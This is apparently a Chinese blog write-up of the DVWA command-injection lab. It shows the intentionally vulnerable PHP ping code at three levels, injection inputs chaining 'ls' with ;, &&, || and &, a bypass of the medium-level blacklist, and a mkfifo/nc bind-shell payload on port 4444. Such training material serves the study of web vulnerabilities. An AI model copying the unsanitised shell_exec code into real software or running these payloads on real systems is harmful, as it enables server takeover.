DVWA命令执行漏洞

Created at 2018-07-19 Updated at 2018-07-19 Tag web

low级源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
//判断是否操作系统为windows
$cmd = shell_exec( 'ping ' . $target );
//在windows的操作系统中
echo '<pre>'.$cmd.'</pre>';
}
else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
?>

stristr(string,search,before_search)

stristr()
函数搜索字符串在另一字符串中的第一次出现,并返回字符串的剩余部分。

php_uname(mode)
返回运行 PHP 的系统的有关信息

参数:

‘a’:此为默认。包含序列 “s n r v m” 里的所有模式。

‘s’:操作系统名称。例如: FreeBSD。

‘n’:主机名。例如: localhost.example.com。

‘r’:版本名称,例如: 5.1.2-RELEASE。

‘v’:版本信息。操作系统之间有很大的不同。

‘m’:机器类型。例如:i386。

windows和Linux系统中都可以用”;”、 ”&&”、”||”和”&”来执行多条命令

; :执行多个指令,前一个执行失败都没有关系

&&:前一个指令执行成功后才能执行后一个指令

||:前一个指令执行失败后才能执行后一个指令

&:两个命令同时执行(时间不分先后)

①输入
;ls;cd source;ls

完整的语句是:
ping -c 3 ;ls;cd source;ls

②输入
127.0.0.1&&ls

完整的语句是:
ping -c 3 127.0.0.1&&ls

注:这里不能直接&&ls,因为完整的语句会变成ping -c 3 &&ls,&&前面的语句不能被成功执行,因此后面的ls不能被执行

③输入
||ls

完整的语句是:
ping -c 3 ||ls

前面一句执行失败,后面一句能执行

注:这里不能127.0.0.1||ls,因为完整的语句会变成ping -c 3 127.0.0.1||ls,前一句能执行成功,后一句就不能被执行

④输入
127.0.0.1&ls

完整的语句是:
ping -c 3 127.0.0.1&ls

注:也可以用
&ls
,前一句执行失败,不影响后一句

medium等级源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
if( isset( $_POST[ 'submit'] ) ) {
$target = $_REQUEST[ 'ip' ];
// Remove any of the charactars in the array (blacklist).
$substitutions = array(
'&&' => '',
';' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
//将&&和;替换成数组里的值
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
?>

=>符号来分隔键和值,左侧表示键,右侧表示值。例如:
array( '&&' => '0', ';' => '1');
数组array中的键&&等于0,键;等于1
这里过滤了;和&&,可以用&或||

①如果输入
127.0.0.1;ls

完整的语句是
ping -c 3 127.0.0.1;ls
,但是会被修改成
ping -c 3 127.0.0.1ls
不能被执行

②如果输入
127.0.0.1&&ls

完整的语句是
ping -c 3 127.0.0.1&&ls
,但是会被修改成
ping -c 3 127.0.0.1ls
不能被执行

③输入
127.0.0.1&ls

完整的语句是
ping -c 3 127.0.0.1&ls

④输入
||ls

完整的语句是:
ping -c 3 ||ls

high等级源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST["ip"];
$target = stripslashes( $target );
//去掉反斜杠
// Split the IP into 4 octects
$octet = explode(".", $target);
//将ip地址以“.”分隔开来,分成4部分
if ((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2])) && (is_numeric($octet[3])) && (sizeof($octet) == 4) )
{
//将每个部分进行是否是数字类型
$target = $octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
else {
echo '<pre>ERROR: You have entered an invalid IP</pre>';
}
}
?>

emmmm还不知道怎么解

利用nc来监听4444端口,再进行管道的重定向:
;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe

在Kali Linux中直接nc连接上该服务器:
nc 192.168.43.165 4444

Site by 9527 using Hexo & Random

Hide